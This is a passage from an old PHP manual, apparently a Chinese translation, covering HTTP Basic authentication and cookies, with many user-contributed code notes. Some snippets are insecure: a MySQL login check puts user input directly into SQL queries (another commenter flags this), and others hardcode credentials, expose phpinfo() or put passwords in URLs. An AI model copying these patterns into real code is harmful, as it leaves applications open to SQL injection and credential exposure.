       // initialize a relogin on Firefox
       // (request login with username "relogin"):
       //
       // CAUTION: After that, relative hyperlinks like
       //  <a href="{$_SERVER['PHP_SELF']}">Link</a>
       // will maybe translated into an absolute hyperlink like
       //  http://relogin:relogin@...
       // which will lead to an error-message in Firefox.
       //
       // So you always have to use absolute hyperlinks like $baselink.
       //
       if (! preg_match("/MSIE/", $_SERVER['HTTP_USER_AGENT'])) {
           $link = preg_replace("/^http:\/\/(.*)$/",
                       "http://relogin:relogin@$1", $baselink);
           header("Location: $link");
           exit;
   }    }

   // check if a new realm needs to be generated because
   // it's the first loading of the page (or the first loading
   // after a logout):
   //
   // Remark: The realm is generated with some random signs,
   // because Internet Explorer will forget the username if the
   // realm changes. Unfortunately Firefox doesn't do so.
   if (! isset($_SESSION['realm'])) {
       srand();
       $_SESSION['realm'] = "My Realm      ";
       for ($i = 0; $i < 6; $i++) {
           $_SESSION['realm'] .= substr(".,:;-_'+~=", rand(0, 9), 1);
   }    }

   // check if a user has already logged in before:
   if (isset($_SESSION['user'])) {
       unset($_SESSION['login']);
       return true;
   }

   // check if a user just entered a username and password:
   //
   // is_authorized() has to return 'true' if and only if
   // the username and the passwort given are correct.
   if (isset($_SESSION['login'])) {
       if (is_authorized($_SERVER['PHP_AUTH_USER'],
                   $_SERVER['PHP_AUTH_PW'])) {
           $_SESSION['user'] = $_SERVER['PHP_AUTH_USER'];
           unset($_SESSION['login']);
           return true;
   }    }

   // let the browser ask for a username and a password:
   $_SESSION['login'] = true;
   header("WWW-Authenticate: Basic realm=\"{$_SESSION['realm']}\"");
   header("HTTP/1.0 401 Unauthorized");
   echo "You need to log in before you can access this page.";
   phpinfo();        // - for testing only
   exit;
}

function logout() {

   // to do a logout, all session-variables will be deleted,
   // a variable 'logout' is added:
   $_SESSION = array('logout' => true);
   echo "You were successfully logged out.";
   phpinfo();        // - for testing only
   exit;
}
sl at netcentrex dot net
25-Mar-2005 06:16
This forces an instant re-authentication:

// Force a logout.
function imt_logout()
{
   global $_SESSION;
   global $HTTP_SERVER_VARS;
   global $PHP_SELF;

   // We mark the session as requiring a re-auth
   $_SESSION['reauth-in-progress'] = 1;

   // This forces the authentication cache clearing
   header("WWW-Authenticate: Basic realm=\"My Realm\"");
   header("HTTP/1.0 401 Unauthorized");

   // In case of the user clicks "cancel" in the dialog box
   print '<a href="http://'.$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF.'">click me</a>';
   exit();
}

// Check login
function imt_login()
{
   global $_SERVER;
   global $_SESSION;
   global $REGISTERED_USERS;

   // the valid_user checks the user/password (very primitive test in this example)
   if (!valid_user($_SERVER['PHP_AUTH_USER'], $REGISTERED_USERS))
   {
       session_destroy();
       header("WWW-Authenticate: Basic realm=\"My Realm\"");
       header("HTTP/1.0 401 Unauthorized");
       exit();
   }

   // OK, the user is authenticated
   $_SESSION['user'] = $_SERVER['PHP_AUTH_USER'];
}

Assuming that your page.php?action=logout forces a reauth on the same page, start your page with:

session_start()
if ($_REQUEST["action"] == "logout")
{
   if (isset($_SESSION['reauth-in-progress']))
   {
       session_destroy();
       header("Location: http://".$HTTP_SERVER_VARS['HTTP_HOST'].$PHP_SELF);
   }
   else
       imt_logout();
}

imt_login();
brian at nerdlife dot net
20-Mar-2005 11:30
My solution to the logout conondrum:
<?php
if($_GET[op] == 'logout')
{
 header('WWW-Authenticate: Basic realm="Click \'Ok\' then \'Cancel\' to Log Out"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You have been successfully logged out. Click <a href="index.php">here</a> to log back in.');
  die();
}
if(!isset($_SERVER[PHP_AUTH_USER]))
{
 header('WWW-Authenticate: Basic realm="Site Login"');
 header('HTTP/1.0 401 Unauthorized');
  echo 'You must enter a valid username and password to access this resource.';
  die();
}
else
{
 //Validate User
 //If Validated:
 echo "Welcome. <a href='index.php?op=logout'>Logout?</a>"
}
?>
I assume that if the user is reliable enough to even bother logging out, they are reliable enough to click "ok" then "cancel", thereby logging out and displaying the "logged out" message.
ernstp at winzerware dot de
10-Nov-2004 03:05
Don't like passwords at home or simply don't want access with passwords maybe told form one to another...

You make a configuration file like that:

# Passwort for special IP-Range
IP 192.168.0.
axel:PGWAiIeUxcHOg
sven:ADD1IDbsVHSEo

# Following IP works without password (Keyword 'ALL')
IP 192.168.0.4
ALL

# Passwords for the rest of the world
IP
ernst:INo9dSzfU5sRU
sven:ADD1IDbsVHSEo

<?
$path_log = "/home/ernst/.htmyway";

// Konfigurationsfile einlesen:
$file = file($path_log);

$login = FALSE;                    // Gets TRUE, when login is valid
$ip = 'world';                    // This is the currend IP while reading the configuration
$access = 'world';                // IP from configuration fitting into $_SERVER['REMOTE_ADDR']

foreach ($file as $zeile)
{
   $zeile = trim($zeile);

   switch(true)
   {
       case ( strlen($zeile) == 0 ):                // break for empty lines
           break;

       case ( substr($zeile, 0, 1) == '#' ):            // break for Komments
           break;

       case ( substr($zeile, 0, 2) == 'IP' ):        // change IP range
           $ip = substr($zeile, 3);
           if ($ip == '')
               $ip = 'world';

           if ( ereg("^$ip", $_SERVER['REMOTE_ADDR']) )    // fitting IP
           {
               $access = $ip;
           }
           break;

       case ( ereg("(.+):(.*)", $zeile, $reg) ):        // scan passwords
           $logray[$ip][$reg[1]] = $reg[2];
           break;

       case ( $zeile == 'ALL' ):                // if no login is needet
           $logray[$ip]['all'] = 1;
   }
}

// <for testing>
if ( isset($_GET['logout']) )
{
   unset($_SERVER['PHP_AUTH_USER']);
   unset($_SERVER['PHP_AUTH_PW']);
}
//  </for testing>

// authorisation test
if ( isset($_SERVER['PHP_AUTH_USER']) AND isset($_SERVER['PHP_AUTH_PW']) )
   if( isset($logray[$access][$_SERVER['PHP_AUTH_USER']]) )
       if( $logray[$access][$_SERVER['PHP_AUTH_USER']] == crypt($_SERVER['PHP_AUTH_PW'], (substr($logray[$access][$_SERVER['PHP_AUTH_USER']], 0, 2))) )
           $login = TRUE;

if ( isset($logray[$access]['all']) )
   $login = TRUE;

// send login-form if needet
if ( !$login )
{
   Header("WWW-Authenticate: Basic realm=\"Test Authentication System\"");
   Header("HTTP/1.0 401 Unauthorized");
   echo "You must enter a valid login ID and password to access this resource\n";
   exit;
}

// Your running programm...
if ( $login )
{
   echo "Hello " . $_SERVER['PHP_AUTH_USER'];

?>
<BR>
<form>
<input type='submit' name='logout' value='logout'>
</form>
<?

}
?>
bernard dot paques at bigfoot dot com
25-Sep-2004 12:42
The approach described in the manual works only at servers where PHP is ran as an Apache module. Where PHP is ran as a CGI module, credentials are always empty, whether the user actually fills the authentication box or not.

Apparently the set of Apache variables exposed to PHP is restricted when PHP runs in CGI mode, and this explains why $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'] are not set.

The solution is to select one Apache variable actually transmitted to PHP even in CGI mode, and to put in it authentication data submitted by the browser.

Look at the following directive added to the .htaccess file:

<IfModule mod_rewrite.c>
   RewriteEngine on
   RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
</IfModule>

This directive states that, if mod_rewrite is available, credentials gathered from the HTTP header Authorization are put into the $_SERVER['REMOTE_USER'] variable.

To build up on RFC 2617 on HTTP Authentication, if the surfer wishes to send the userid "Aladdin" and password "open sesame", the browser will add the following header attribute to the HTTP request:

Authorization: Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

Thanks to the rewrite directive put in .htaccess, the triggered PHP script will catch credentials through $_SERVER['REMOTE_USER'] as follows:

$_SERVER['REMOTE_USER'] = Basic QWxhZGRpbjpvcGVuIHNlc2FtZQ==

From there all you have to do is to decode base64 credentials, and to split the string to retrieve user name and password, as described into the RFC 2617.

Before you use $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW'], check if these variables are empty.

If yes, attempt to rebuild them by using $_SERVER['REMOTE_USER'].

The following snippet does exactly that:

<?php
// maybe we have caught authentication data in $_SERVER['REMOTE_USER']
if((!$_SERVER['PHP_AUTH_USER'] || !$_SERVER['PHP_AUTH_USER'])
   && preg_match('/Basics+(.*)$/i', $_SERVER['REMOTE_USER'], $matches)) {
   list($name, $password) = explode(':', base64_decode($matches[1]));
   $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
   $_SERVER['PHP_AUTH_PW']    = strip_tags($password);
}
?>

The full script used to build a secured RSS feed is available here:

http://www.yetanothercommunitysystem.com/yacs/scripts/

Of course, this trick works only if the mod_rewrite module is available, and if you have changed the .htaccess file as explained above.
jason
15-Aug-2004 01:12
on the php+mysql auth code by tigran at freenet dot am

There are some security weaknesses.

First
$user
  and
$pass

are both insecure, they could leave this code open to SQL injection, you should always remove invalid characters in both, or at least encode them.

Actually storing passwords as MD5 hashes leaves you less work to secure.

Second security risks
The same mysql user has rights to both update and select, and possibly even insert and on your auth database no less.
Again the SQL inject attack may occur with this., and the end user could then change the users username, password, or anything else in relation to this.

Third items is more of a performance issue,

Do you really need to update the database, as updates are slower then selects, and if you do them every time they access the page, you are costing some speed penalty.

One option, if you want to use sql (I think mysql has it) is memory only databases, and create a table within memory, the stores a unique session identifier for each user, that is logged in, or alternatively if it's a single front end system, you could use db files.
php at cscott dot net
13-Aug-2004 07:18
Note that Microsoft has released a 'security update' which disables the use of username:password@host in http urls.

   http://support.microsoft.com/default.aspx?scid=kb;en-us;834489

The methods described above which rely on this will no longer work in Microsoft browsers, sadly.

You can re-enable this functionality as described at

   http://weblogs.asp.net/cumpsd/archive/2004/02/07/69366.aspx

but your users will probably be unwilling to do this.
chris at schaake dot nu
18-Jun-2004 12:42
A simple script for SSL Client Certificate authentication with a basic authentication fall-back. I use this on my site using LDAP server to check username/passwords and client certificate to user mapping.

<?
// Check if and how we are authenticated
if ($_SERVER['SSL_CLIENT_VERIFY'] != "SUCCESS") { // Not using a client certificate
   if ((!$_SERVER['PHP_AUTH_USER']) && (!$_SERVER['PHP_AUTH_PW'])) { // Not logged in using basic authentication
       authenticate(); // Send basic authentication headers
   }
}

if ($_SERVER['SSL_CLIENT_S_DN_CN'] != "chris") { // Check CN name of cert

   if (!(($_SERVER['PHP_AUTH_USER'] == "test") && ($_SERVER['PHP_AUTH_PW'] == "123"))) { // Check username and password
       authenticate(); // Send basic authentication headers because username and/or password didnot match
   }
}

phpinfo();

// Call authentication display
function authenticate() {
   Header("WWW-Authenticate: Basic realm=Website");
       Header("HTTP/1.0 401 Unauthorized");
       error401();
       exit;
}
?>

See my website (http://www.schaake.nu/index.php?page=/manuals/sslmanual.xml) for more details on client certificate with Apache and PHP.
mcbethh ( at ) [no spam] op.pl
07-Jun-2004 01:25
There is a nice way to 'fix' missing REMOTE_USER env variable when using PHP as CGI, using mod_rewrite rule like this:

RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]
nuno at mail dot ideianet dot pt
14-May-2004 06:33
In Windows 2003 Server/IIS6 with the php4+ cgi I only get HTTP authentication working with:
<?php header("Status: 401 Access Denied"); ?>
with
<?php header('HTTP/1.0 401 Unauthorized'); ?>
doesn't work !
I also need in "Custom Errors" to select the range of "401;1" through "401;5" and click the "Set to Default" button.
Thanks rob at theblip dot com
steuber at aego dot de
07-May-2004 07:15
Quite a good solution for the logout problem:

Just tell browser that it is successfully logged in!
This works as follows:
1. User clicks logout button
2. Script sends 401 Header
3. User does NOT enter a password
4. If no password is entered, script sends 200 Header

So the browser remembers no password as a valid password.

Example:

<?php
if (
       (!isset($_SERVER['PHP_AUTH_USER']))
   ||(
           ($_GET["login"]=="login")
   && !(
             ($_SERVER['PHP_AUTH_USER']=="validuser")
             && ($_SERVER['PHP_AUTH_PW']=="validpass")
           )
       )
   ||(
           ($_GET["logout"]=="logout")
     && !($_SERVER['PHP_AUTH_PW']=="")
       )
     ) {
Header("WWW-Authenticate: Basic realm=\"Realm\"");
Header("HTTP/1.0 401 Unauthorized");
echo "Not logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
} else if ($_SERVER['PHP_AUTH_PW']=="") {
echo "Logged out...<br>\n";
echo "<a href=\"index.php?login=login\">Login</a>";
exit;
}
?>
najprogramato at post dot sk
27-Apr-2004 08:08
Don't use apache authentification in plain text. Is more better to use own script to generete new ID which is relevant to password. Apache auth data are sent to every page, so the posible mistake are known.
ian AT iyates DOT co DOR uk
05-Mar-2004 09:32
In my use of HTTP Authentication, I've found that some Apache setups swap around the usual variables.
Here's the fix I made so that you can still use PHP_AUTH_USER and PHP_AUTH_PW. Hope it helps someone

<?php
## Apache server fix ##
if (isset($_SERVER['PHP_AUTH_USER']) && !isset($_ENV['REMOTE_USER']))
   $_ENV['REMOTE_USER'] = $_SERVER['PHP_AUTH_USER'];
if (isset($_SERVER['AUTH_PASSWORD']) && !isset($_ENV['PHP_AUTH_PW']))
   $_ENV['PHP_AUTH_PW'] = $_SERVER['AUTH_PASSWORD'];
?>
rob at theblip dot com
04-Mar-2004 12:47
Regarding HTTP authentication in IIS with the php cgi 4.3.4, there's one more step. I searched mightily and didn't find this information anywhere else, so here goes. When using HTTP auth with the php CGI, you need to do the following things:

1. In your php.ini file, set "cgi.rfc2616_headers = 0"

2. In Web Site Properties -> File/Directory Security -> Anonymous Access dialog box, check the "Anonymous access" checkbox and uncheck any other checkboxes (i.e. uncheck "Basic authentication," "Integrated Windows authentication," and "Digest" if it's enabled.) Click OK.

3. In "Custom Errors", select the range of "401;1" through "401;5" and click the "Set to Default" button.

It's this last step that is crucial, yet not documented anywhere. If you don't, instead of the headers asking for credentials, IIS will return its own fancy but useless 'you are not authenticated' page. But if you do, then the browser will properly ask for credentials, and supply them in the $_SERVER['PHP_AUTH_*'] elements.
ken_php_net at wolfpackinteractive dot com
26-Dec-2003 05:16
Say you have password and groups files in standard Apache format (htpasswd etc.), but you want to apply authorization based on something other than filename, ie something you can't catch in .htaccess.  You want to emulate the server behavior in PHP -- the equivalent of:

AuthType Basic
AuthName "Members"
AuthUserFile /path/to/.htpasswd
AuthGroupFile /path/to/.groups
require group Members

Here's what I came up with:

<?PHP

$AuthUserFile = file("/path/to/.htpasswd");
$AuthGroupFile = file("/path/to/.groups");
$group = "Members";
$realm = "Members";

function authenticate(){
   header("WWW-Authenticate: Basic realm=\"$realm\"");
   header('HTTP/1.0 401 Unauthorized');
   echo "You must enter a valid user name and password to access the requested resource.";
   exit;
}

for(; 1; authenticate()){
   if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']))
       continue;

   $user = $HTTP_SERVER_VARS['PHP_AUTH_USER'];
   if(!preg_grep("/$group: $user$/", $AuthGroupFile))  # (format assumptions)
       continue;

   if(!($authUserLine = array_shift(preg_grep("/$user:.*$/", $AuthUserFile))))
       continue;

   preg_match("/$user:((..).*)$/", $authUserLine, $matches);
   $authPW = $matches[1];
   $salt = $matches[2];
   $submittedPW = crypt($HTTP_SERVER_VARS['PHP_AUTH_PW'], $salt);
   if($submittedPW != $authPW)
       continue;

   break;
}

echo "You got in!"
?>
Paul
09-Nov-2003 07:53
Here is a extremely easy way to successfully logout.

<?php
if ( $realm == '' )
$realm = mt_rand( 1, 1000000000 );
   header( 'WWW-Authenticate: Basic realm='.$realm );
?>

To log the user out simply change the value of $realm
bela - iandistudio
21-Oct-2003 01:40
Hi there. Thought long and hard to come up with a logout mechanism that erases the variables $PHP_AUTH_USER and $PHP_AUTH_PW. Finally came up with something, it is better than nothing, hope somebody will find it usefull:

logout.php:

<?
header("Location: http://EnterYourUserName:YourPassword@ServerRoot".$PHP_SELF);
exit;
?>

"EnterYourUserName" and "YourPassword" will be the two variables new value, while "ServerRoot" is your server's domainname (like www.somedomain.com).
You should ensure, that nobody will use "EnterYourUserName" as it's login name.

Happy coding.
ad_ver at inbox dot ru
04-Sep-2003 10:54
Modified script from "jonhaynes at bigfoot dot com" using Oracle logon

<?php
function authenticate() {
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header("HTTP/1.0 401 Unauthorized");
print("You must enter a valid login username and password
to access this resource.\n");
exit;
}

if(!isset($_SERVER['PHP_AUTH_USER'])){ authenticate(); }
else {
   $conn = @ OCILogon($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW'], "orcl92") ;
   if(!$conn)
       { authenticate(); }
   else {OCILogoff($conn);};
}
?>
steve at topozone dot com
17-Jun-2003 03:51
The method described in the text does not appear to work with PHP in cgi mode and Apache-2.x. I seems that Apache has gotten stricter or introduced a bug such that you can initiate the authentication, but Apache seems to try to  authenticate the browser response which always fails because it does not know what to authenticate against and the headers never get passed back to the PHP script.

I didn't try it with PHP as a module.
25-Apr-2003 08:02
@emmanuel dot keller at net2000 dot ch:
The behaviour you report bases on the fact that PHP installed as a CGI program must send CGI status messages instead of HTTP return codes. Therefore, anywhere you normally send "HTTP/1.0 xyz", you have to send "Status: xyz".
JKi
14-Feb-2003 07:38
To clear HTTP authentication cache in Internet Explorer (6 SP1 and later), use "ClearAuthenticationCache" command.

document.execCommand("ClearAuthenticationCache");
emmanuel dot keller at net2000 dot ch
15-Jan-2003 06:14
Some servers won't support the HTTP1.0 specification and will give an error 500 (for instance). This happened with a server where I uploaded an authentication script.

If it happens, you can try the HTTP1.1 header syntax :

<?php
header("WWW-Authenticate: Basic realm=\"My Realm\"");
header('status: 401 Unauthorized');
?>
yaroukh at email dot cz
12-Jan-2003 08:42
Here is my solution - works in MSIE and Mozilla.

I use http-authentication only for the first time user accesses his
private page; after valid username and password are provided, he is
recognized using his sessionID and ip ...
the reasons are following:
1) when users changes his password it is not required instantly
   (I find this quite comfortable)
2) auto-login function works fine (unless user click logout)

And here's how i works ...

The "trick" is to pass a temporary username+password to the browser.
(I call it "temporary" because no user account matching these
parameters is neccessary.)

The most essential thing is the following link on user's private page:

===
<?  $url = "http://".
       $username.    // see note 1
       ":".
       Session_ID().  // see note 2
       "@localhost/".PROJECT_NAME."/logout.phtml";
?>
<a href="<?=$url?>">logout</a>
===

1) we pass the actual username because MSIE uses this username as
   a "default pre-fill" for the login-window and some hash-string
   would confuse the users.
2) the temporary password is not too important, but there are
   two things we expect from it:
   a) we need to know this string in the logout.phtml script
   b) the string definetely should not match the user's password
     (otherwise user gets logged back instantly); using current
     Session_ID() we are pretty sure this won't happen

This link causes that the temporary login-params are available in
the logout.phtml script.
Using "www-authenticate" header in the logout.phtml script we force
the browser to accept our temporary login-params. (I suppose browser
actually repeats the request and the next time it checks
the login-params sent in the URL; but this is only my guess and
it is not important.)

The logout.phtml code:
===
<?  $query = "UPDATE users SET sessionID = NULL ".
       "WHERE sessionID = '".Session_ID()."'";
     $mysql->query($query);
     // because we (me :o) use the sessionID and the ip for
     // the identification we need to clean the sessionID; (I found it
     // a little bit easier to destroy the sessionID in the db than
     // unsetting the cookie and/or destroying+restarting
     // the current session)

     if($PHP_AUTH_PW != Session_ID()) {
       // keep asking for the login-params untill PHP_AUTH_PW returned
       // by the browser matches the current Session_ID() (which means
       // that the browser accepted the temporary login-params
       // we sent to it AND FORGOT THE REAL ONES)

       Header("HTTP/1.0 401 Unauthorized");
       Header("WWW-Authenticate: Basic realm=\"".PROJECT_NAME."\"");
   }
?>
<html>
   <head>
       <meta http-equiv="author" content="yaroukh at email dot cz">
       <title><?=PROJECT_NAME?></title>
       <link rel="stylesheet" href="style.css" type="text/css">
   </head>
   <body>
         <a href="http://localhost/<?=PROJECT_NAME?>/main.phtml">continue</a>
   </body>
</html>
===

About the "continue" link: the link is not too important, but using it
we can get rid off the temporary login-params which wouldn't look
too aesthetically in the address-bar. :o)
05-Jun-2002 05:08
A more elegant way to force a new name/password, cf. example 17-2 (if you don't mind passing the old user in the query string):

<?
if (isset($PHP_AUTH_USER))
{
   if (!isset($prev_user))
   {
       header("Location: http://$HTTP_HOST$PHP_SELF?prev_user=$PHP_AUTH_USER");
       exit;
   }
   else
   {
       if ($PHP_AUTH_USER == $prev_user)
       {
           header('WWW-Authenticate: Basic realm="Secure"');
           header('HTTP/1.0 401 Unauthorized');
           exit;
       }
   }
}
else
{
   header('WWW-Authenticate: Basic realm="Secure"');
   header('HTTP/1.0 401 Unauthorized');
   exit;
}
?>

The final set of headers is necessary because some browsers seem to unset $PHP_AUTH_USER when the location header is sent.
louis dot carlier at ngroups dot com
24-May-2002 11:22
The definitive HTTP authorization code:

<?php
function login_error()
{
 echo "error - login process failed."
}

if (!isset($PHP_AUTH_USER))
{
 header("WWW-Authenticate: Basic realm=\"Mosaic Authorization process\"");
 header("HTTP/1.0 401 Unauthorized");

 //Result if user hits cancel button
 login_error();
}
else
{

 //check the login and password
 if('=>test on login and password<=')
 {
  //User is logged
  ...
  ...
 }
 else
 {
  //This re-asks three times the login and password.
  header( "WWW-Authenticate: Basic realm=\"Test Authentication System\"");
  header("HTTP/1.0 401 Unauthorized");

  //Result if user does not give good login and pass
  login_error();
 }
}
?>
sjeffrey at inquesis dot com
30-Jan-2002 07:00
To get it to work with IIS try using this code before setting your "$auth = 0" and the "if (isset($PHP_AUTH_USER) && isset($PHP_AUTH_PW))"

<?php
//////////////////////////////////////////

if ($PHP_AUTH_USER == "" && $PHP_AUTH_PW == "" && ereg("^Basic ", $HTTP_AUTHORIZATION))
{
  list($PHP_AUTH_USER, $PHP_AUTH_PW) =
   explode(":", base64_decode(substr($HTTP_AUTHORIZATION, 6)));
}

//////////////////////////////////////////
?>

It worked for me on IIS 5 and PHP 4 in ISAPI
philip at cornado dot com
18-May-2001 06:55
You may enjoy this tutorial :
http://www.zend.com/zend/tut/authentication.php
k u d o s at t e l u s p l a n e t dot n e t
05-Apr-2001 02:19
Thanks to yasuo_ohgaki@hotmail.com for the rfc note needed to solve this one. This looks like it flushed out the authentication headers on both Netscape and IE:
Header("WWW-Authenticate: Basic realm=\"Whatever Realm\", stale=FALSE");
owld at mail dot ru
31-Aug-2000 06:04
Good day.I've solved a problem where IE4 asks for the age one more time after a 401, defeating sending a 401 once to force a user to log on again.

<?php
  function  authenticate()  {
   setcookie("noauth","");
   Header( "WWW-authenticate:  Basic realm=\"test\"");
   Header( "HTTP/1.0  401  Unauthorized");
   echo "You must enter user name";
   exit ;
  }
  if  (  !isset($PHP_AUTH_USER) ||  ($logoff==1) && $noauth=="yes"  )  {
   authenticate();
  }
?>

And logoff link -

<a href="samehtml.phtml?logoff=1">Logoff</a></td>

Dmitry Alyekhin
tigran at freenet dot am
20-May-2000 05:31
Here is a code for the public sites enabling both logout bottom and timeout using php+mysql. Working for both browsers.
The part "required" for each user protected page:

<?
function auth () {
       Header("WWW-Authenticate: Basic realm=\"ArmFN public site\"");
       Header("HTTP/1.0 401 Unauthorized");
       echo "You have to authentificate yourself first \n";
       exit;
}

mysql_connect("localhost","train","") or die("Unable to connect to SQL server");
mysql_select_db( "train") or die( "Unable to select database");

if(!isset($PHP_AUTH_USER)) {

$timeout = mktime(date(G),date(i)+10,0,date("m"),date("d"),date("Y"));
mysql_query("update users set login='$timeout' where id='$user' and pasw='$pass'") or die("k");

   auth();

           } else {

   $pass = $PHP_AUTH_PW;
   $user = $PHP_AUTH_USER;

$nowtime = mktime(date(G),date(i),0,date("m"),date("d"),date("Y"));
$quer2 = mysql_query("select * from users where id='$user' and pasw='$pass' and login > '$nowtime'") or die("kuk2");

   if (mysql_num_rows($quer2) == "0") {
$timeout = mktime(date(G),date(i)+10,0,date("m"),date("d"),date("Y"));
mysql_query("update users set login='$timeout' where id='$user' and pasw='$pass'") or die("k");

auth();
}
       }
?>

You can have a "logout" bottom with hidden $go="logout" form element and then have somewhere this part:

if ($do == "logout") {
mysql_connect("localhost","train","") or die("Unable to connect to SQL server");
mysql_select_db( "train") or die( "Unable to select database");
mysql_query("update users set login=0 where id='$PHP_AUTH_USER' and pasw='$PHP_AUTH_PW'") or die("k");
}
rratboy at pobox dot com
10-Feb-2000 03:59
I had the same problem as above (that is, with apache I can't get the auth info). The solution I found goes like this:

<?php
$headers = getallheaders();
$auth=$headers['authorization'];
if ($auth=='') { $auth=$headers['Authorization']; }

if($auth=='')
{
   Header("WWW-Authenticate: Basic realm=\"$PROG_NAME\"");
   Header("HTTP/1.0 401 Unauthorized");
}
?>

list($user, $pass) = explode(":", base64_decode(substr($auth, 6)));
add a note add a note

后退 | 起点 | 前进
特点 | 上一级 | cookies


cookies

PHP 手册
后退 前进

章 35. cookies

PHP 透明地支持 HTTP cookie。cookie 是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。可以用 setcookie() 或 setrawcookie() 函数来设置 cookie。cookie 是 HTTP 标头的一部分，因此 setcookie() 函数必须在其它信息被输出到浏览器前调用，这和对 header() 函数的限制类似。可以使用输出缓冲函数来延迟脚本的输出，直到按需要设置好了所有的 cookie 或者其它 HTTP 标头。

任何从客户端发送的 cookie 将会像 GET 和 POST 数据一样被自动的转换为 PHP 变量，该过程受 register_globals 和 variables_order 两个配置选项的影响。如果希望对一个 cookie 变量设置多个值，则需在 cookie 的名称后加 [] 符号。

在 PHP 4.1.0 及更高版本，自动全局变量数组 $_COOKIE 将总是包含所有从客户端发来的 cookie 数据。在老版本的 PHP 中，当 track_vars 配置选项打开时（此选项自 PHP 4.0.3 后总是打开的），系统为 cookie 设置的数组变量是 $HTTP_COOKIE_VARS。

关于更多细节以及有关浏览器问题的注意事项，参见 setcookie() 和 setrawcookie() 函数。

add a note add a note User Contributed Notes
kalla_durga at gmail dot com
04-Feb-2006 04:10
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
bmorency at jbmlogic dot com
07-Oct-2005 08:14
In response to the solution posted in the comment below, there are some practical issues with this solution that must be kept in mind and handled by your code. I developed an application using a similar "use-it-once" key to manage sessions and it worked great but we got some complaints about legitimate users getting logged out without reasons. Turns out the problem was not tentative highjacking, it was  either:

A- Users double click on links or make 2 clicks very fast. The same key is sent for the 2 clicks because the new key from the first click didn't get to the browser on time for the second one but the session on the server did trash the key for the new one. Thus, the second click causes a termination of the session. (install the LiveHttpHeaders extension on firefox and look at the headers sent when you click twice very fast, you'll see the same cookie sent on both and the new cookie getting back from the server too late).

B- For any given reason, the server experiences a slow down and the response with the new key (which has replaced the old one on the server) is not returned to the browser fast enough. The user gets tired of waiting and clicks somewhere else. He gets logged out because this second click send the old key which won't match the one you have on your server.

Our solution was to set up a grace period where the old key was still valid (the current key and the previous key were both kept at all times, we used 15 seconds as a grace period where the old key could still be used). This has the drawback of increasing the window of time for a person to highjack the session but if you tie the validity of the old key to an IP address and/or user agent string, you still get pretty good session security with very very few undesired session termination.
mega-squall at caramail dot com
24-Feb-2005 05:04
I found a solution for protecting session ID without tying them to client's IP. Each session ID gives access for only ONE querry. On the next querry, another session ID is generated and stored. If somebody hacks the cookie (or the session ID), the first one of the user and the pirate that will use the cookie will get the second disconnected, because the session ID has been used.

If the user gets disconnected, he will reconnect : as my policy is not to have more than one session ID for each user (sessions entries have a UNIQUE key on the collomn in which is stored user login), every entries for that user gets wiped, a new session ID is generated and stored on users dirve : the pirate gets disconnected. This lets the pirate usually just a few seconds to act. The slower visitors are browsing, the longer is the time pirates get for hacking. Also, if users forget to explicitly end their sessions .... some of my users set timeout longer than 20 minutes !

IMPORTANT NOTE : This disables the ability of using the back button if you send the session ID via POST or GET.
James Olsen
22-Jan-2005 12:14
Tying the session to the IP of the user is not a good idea. Some users, notably AOL users, are behind a rotating proxy which means their hits to the server will actually be coming from different IP addresses over the duration of their visit. Trying the session to the IP will not work properly for those users.
myfirstname at braincell dot cx
24-Sep-2003 11:47
[Editor's note: Wilson's comment has been deleted since it didn't contain much useful information, but this note is preserved although its reference is lost]

Just a general comment on Wilton's code snippet: It's generally considered very bad practice to store usernames and/or passwords in cookies, whether or not they're obsfucated.  Many spyware programs make a point of stealing cookie contents.

A much better solution would be to either use the PHP built in session handler or create something similar using your own cookie-based session ID.  This session ID could be tied to the source IP address or can be timed out as required but since the ID can be expired separately from the authentication criteria the authentication itself is not compromised.

Stuart Livings
add a note add a note

后退 | 起点 | 前进
用 PHP 进行 HTTP 认证 | 上一级 | 会话


会话

PHP 手册
后退 前进

章 36. 会话

会话机制（Session）在 PHP 中用于保存并发访问中的一些数据。这使可以帮助创建更为人性化的程序，增加站点的吸引力。关于会话机制的更多信息，请参见会话处理函数一章。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
cookies | 上一级 | 处理 XForms


处理 XForms

PHP 手册
后退 前进

章 37. 处理 XForms

XForms 定义了一种传统 web 表单的变种，它可以用于更多的平台和浏览器，甚至非传统的媒体例如 PDF 文档。

XFroms 的第一个关键区别是表单怎样发送到客户端。XForms for HTML Authors 包含有怎样创建 XForms 的详细说明。本节只看一个简单例子。

例子 37-1. 一个简单的 XForms 搜索表单

<h:html xmlns:h="http://www.w3.org/1999/xhtml"
        xmlns="http://www.w3.org/2002/xforms">
<h:head>
 <h:title>Search</h:title>
 <model>
  <submission action="http://example.com/search"
              method="post" id="s"/>
 </model>
</h:head>
<h:body>
 <h:p>
